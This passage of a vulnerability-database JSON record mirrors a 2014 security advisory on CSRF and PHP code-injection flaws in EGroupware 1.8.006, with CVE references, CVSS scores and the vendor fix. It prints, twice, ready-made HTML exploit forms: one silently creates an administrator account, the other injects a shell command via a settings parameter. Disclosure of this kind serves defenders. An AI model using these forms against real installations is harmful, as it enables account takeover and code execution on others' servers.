\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nAdvisory Details:\r\n\r\nHigh-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system.\r\n\r\n\r\n1) \u0421ross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987\r\n\r\n\r\nThe vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit. \r\n\r\nSimple CSRF exploit below creates new administrator with login \"immuniweb\" and password \"immuniweb\":\r\n\r\n\r\n<form action=\"http://[host]/index.php?menuaction=admin.uiaccounts.add_user\" method=\"post\" name=\"main\">\r\n<input type=\"hidden\" name=\"account_lid\" value=\"immuniweb\">\r\n<input type=\"hidden\" name=\"account_status\" value=\"A\">\r\n<input type=\"hidden\" name=\"account_firstname\" value=\"firstname\">\r\n<input type=\"hidden\" name=\"account_lastname\" value=\"lastname\">\r\n<input type=\"hidden\" name=\"account_passwd\" value=\"immuniweb\">\r\n<input type=\"hidden\" name=\"account_passwd_2\" value=\"immuniweb\">\r\n<input type=\"hidden\" name=\"changepassword\" value=\"1\">\r\n<input type=\"hidden\" name=\"expires\" value=\"2014/04/29\">\r\n<input type=\"hidden\" name=\"never_expires\" value=\"True\">\r\n<input type=\"hidden\" name=\"account_email\" value=\"immuniweb@immuniweb.com\">\r\n<input type=\"hidden\" name=\"account_groups[]\" value=\"-2\">\r\n<input type=\"hidden\" name=\"account_primary_group\" value=\"-2\">\r\n<input type=\"hidden\" name=\"submit\" value=\"Add\">\r\n<input type=\"submit\" id=\"btn\">\r\n</form>\r\n\r\n\r\n\r\n2) Code Injection in EGroupware: CVE-2014-2988\r\n\r\n\r\nThe vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST \"newsettings\" parameter to PHP function \"call_user_func()\". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver. \r\n\r\n\r\nThis vulnerability can be exploited in pair with the above-described CSRF vulnerability.\r\n\r\nThe following exploitation example writes \"immuniweb\" word into file \"/1.php\":\r\n\r\n\r\n<form action=\"http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpbrain\" method=\"post\" name=\"main\">\r\n<input type=\"hidden\" name=\"newsettings[system]\" value=\"echo immuniweb>1.php\">\r\n<input type=\"hidden\" name=\"submit\" value=\"Save\">\r\n<input type=\"submit\" id=\"btn\">\r\n</form>\r\n\r\n\r\n\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nSolution:\r\n\r\nUpdate to EGroupware version 1.8.007\r\n\r\nMore Information:\r\nhttp://www.egroupware.org/forum#nabble-td3997580\r\nhttp://www.egroupware.org/changelog\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nReferences:\r\n\r\n[1] High-Tech Bridge Advisory HTB23212 - https://www.htbridge.com/advisory/HTB23212 - CSRF and Remote Code Execution in EGroupware.\r\n[2] EGroupware - http://www.egroupware.org/ - EGroupware is the leading open source collaboration tool and the top choice for big enterprises, SMEs and teams within and across organizations all over the globe.\r\n[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE\u00ae is a dictionary of publicly known information security vulnerabilities and exposures.\r\n[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.\r\n[5] ImmuniWeb\u00ae SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.\r\n\r\n-----------------------------------------------------------------------------------------------\r\n\r\nDisclaimer: The information provided in this Advisory is provided \"as is\" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.", "sourceHref": "https://www.exploit-db.com/download/33389", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2018-04-03T17:39:01", "description": "EGroupware version 1.8.006 suffers from code execution and cross site request forgery vulnerabilities.", "cvss3": {}, "published": "2014-05-17T00:00:00", "type": "zdt", "title": "EGroupware 1.8.006 - Multiple Vulnerabilities", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2014-2987"], "modified": "2014-05-17T00:00:00", "id": "1337DAY-ID-22256", "href": "https://0day.today/exploit/description/22256", "sourceData": "Product: EGroupware\r\nVendor: http://www.egroupware.org/\r\nVulnerable Version(s): 1.8.006 community edition and probably prior\r\nTested Version: 1.8.006 community edition\r\nAdvisory Publication: April 23, 2014 [without technical details]\r\nVendor Notification: April 23, 2014\r\nVendor Patch: May 6, 2014\r\nPublic Disclosure: May 14, 2014\r\nVulnerability Type: Cross-Site Request Forgery [CWE-352], Code Injection [CWE-94]\r\nCVE References: CVE-2014-2987, CVE-2014-2988\r\nRisk Level: High\r\nCVSSv2 Base Scores: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P), 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)\r\nSolution Status: Fixed by Vendor\r\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )\r\n \r\n-----------------------------------------------------------------------------------------------\r\n \r\nAdvisory Details:\r\n \r\nHigh-Tech Bridge Security Research Lab discovered CSRF and Remote Code Execution vulnerabilities in EGroupware, which can be exploited by remote attacker to gain full control over the application and compromise vulnerable system.\r\n \r\n \r\n1) \u0421ross-Site Request Forgery (CSRF) in EGroupware: CVE-2014-2987\r\n \r\n \r\nThe vulnerability exists due to insufficient verification of the HTTP request origin. A remote attacker can create a new user account with administrative privileges by tricking logged-in Groupware administrator to visit a malicious pages with CSRF exploit.\r\n \r\nSimple CSRF exploit below creates new administrator with login \"immuniweb\" and password \"immuniweb\":\r\n \r\n \r\n<form action=\"http://[host]/index.php?menuaction=admin.uiaccounts.add_user\" method=\"post\" name=\"main\">\r\n<input type=\"hidden\" name=\"account_lid\" value=\"immuniweb\">\r\n<input type=\"hidden\" name=\"account_status\" value=\"A\">\r\n<input type=\"hidden\" name=\"account_firstname\" value=\"firstname\">\r\n<input type=\"hidden\" name=\"account_lastname\" value=\"lastname\">\r\n<input type=\"hidden\" name=\"account_passwd\" value=\"immuniweb\">\r\n<input type=\"hidden\" name=\"account_passwd_2\" value=\"immuniweb\">\r\n<input type=\"hidden\" name=\"changepassword\" value=\"1\">\r\n<input type=\"hidden\" name=\"expires\" value=\"2014/04/29\">\r\n<input type=\"hidden\" name=\"never_expires\" value=\"True\">\r\n<input type=\"hidden\" name=\"account_email\" value=\"[email\u00a0protected]\">\r\n<input type=\"hidden\" name=\"account_groups[]\" value=\"-2\">\r\n<input type=\"hidden\" name=\"account_primary_group\" value=\"-2\">\r\n<input type=\"hidden\" name=\"submit\" value=\"Add\">\r\n<input type=\"submit\" id=\"btn\">\r\n</form>\r\n \r\n \r\n \r\n2) Code Injection in EGroupware: CVE-2014-2988\r\n \r\n \r\nThe vulnerability exists due to insufficient sanitisation of input data passed via the HTTP POST \"newsettings\" parameter to PHP function \"call_user_func()\". A remote attacker with administrative privileges can inject and execute arbitrary PHP code on the target system with privileges of the webserver.\r\n \r\n \r\nThis vulnerability can be exploited in pair with the above-described CSRF vulnerability.\r\n \r\nThe following exploitation example writes \"immuniweb\" word into file \"/1.php\":\r\n \r\n \r\n<form action=\"http://[host]/index.php?menuaction=admin.uiconfig.index&appname=phpbrain\" method=\"post\" name=\"main\">\r\n<input type=\"hidden\" name=\"newsettings[system]\" value=\"echo immuniweb>1.php\">\r\n<input type=\"hidden\" name=\"submit\" value=\"Save\">\r\n<input type=\"submit\" id=\"btn\">\r\n</form>\r\n \r\n \r\n \r\n \r\n-----------------------------------------------------------------------------------------------\r\n \r\nSolution:\r\n \r\nUpdate to EGroupware version 1.8.007\r\n \r\nMore Information:\r\nhttp://www.egroupware.org/forum#nabble-td3997580\r\nhttp://www.egroupware.org/changelog\n\n# 0day.today [2018-04-03] #", "sourceHref": "https://0day.today/exploit/22256", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "securityvulns": [{"lastseen": "2021-06-08T18:51:48", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "edition": 2, "cvss3": {}, "published": "2014-05-15T00:00:00", "title": "Web applications security vulnerabilities summary &#40;PHP, ASP, JSP, CGI, Perl&#41;", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2014-2987", "CVE-2013-7377", "CVE-2013-7380", "CVE-2014-3744", "CVE-2014-3741", "CVE-2014-1418", "CVE-2014-3730", "CVE-2014-3738", "CVE-2014-3743", "CVE-2013-7381", "CVE-2013-7371", "CVE-2013-6393", "CVE-2013-7378", "CVE-2014-3453", "CVE-2013-7370", "CVE-2014-3111", "CVE-2014-3742", "CVE-2014-3756", "CVE-2013-4660", "CVE-2013-7379", "CVE-2014-2988", "CVE-2014-3225"], "modified": "2014-05-15T00:00:00", "id": "SECURITYVULNS:VULN:13778", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13778", "cvss": {"score": 8.5, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2021-06-08T18:45:19", "description": "PHP inclusions, SQL injections, directory traversals, crossite scripting, information leaks, etc.", "edition": 2, "cvss3": {}, "published": "2014-06-14T00:00:00", "title": "Web applications security vulnerabilities summary &#40;PHP, ASP, JSP, CGI, Perl&#41;", "type": "securityvulns", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2014-3946", "CVE-2014-3781", "CVE-2014-2575", "CVE-2014-3945", "CVE-2014-2987", "CVE-2014-2303", "CVE-2014-3414", "CVE-2014-3947", "CVE-2014-2554", "CVE-2014-3948", "CVE-2014-3944", "CVE-2014-3137", "CVE-2014-3740", "CVE-2013-2251", "CVE-2014-3877", "CVE-2014-3446", "CVE-2014-3943", "CVE-2014-3941", "CVE-2014-3210", "CVE-2014-1402", "CVE-2014-0228", "CVE-2014-3415", "CVE-2014-0130", "CVE-2014-2577", "CVE-2014-3875", "CVE-2014-3942", "CVE-2014-3783", "CVE-2013-7106", "CVE-2014-2233", "CVE-2014-2843", "CVE-2014-3447", "CVE-2013-7107", "CVE-2014-3749", "CVE-2014-0081", "CVE-2014-2232", "CVE-2014-1855", "CVE-2014-1878", "CVE-2014-2302", "CVE-2014-0082", "CVE-2014-3876", "CVE-2014-2553", "CVE-2014-3782", "CVE-2014-2386", "CVE-2014-3966", "CVE-2013-5954", "CVE-2014-0107", "CVE-2014-3448", "CVE-2013-7108", "CVE-2014-2988", "CVE-2014-3445", "CVE-2014-3949"], "modified": "2014-06-14T00:00:00", "id": "SECURITYVULNS:VULN:13836", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:13836", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}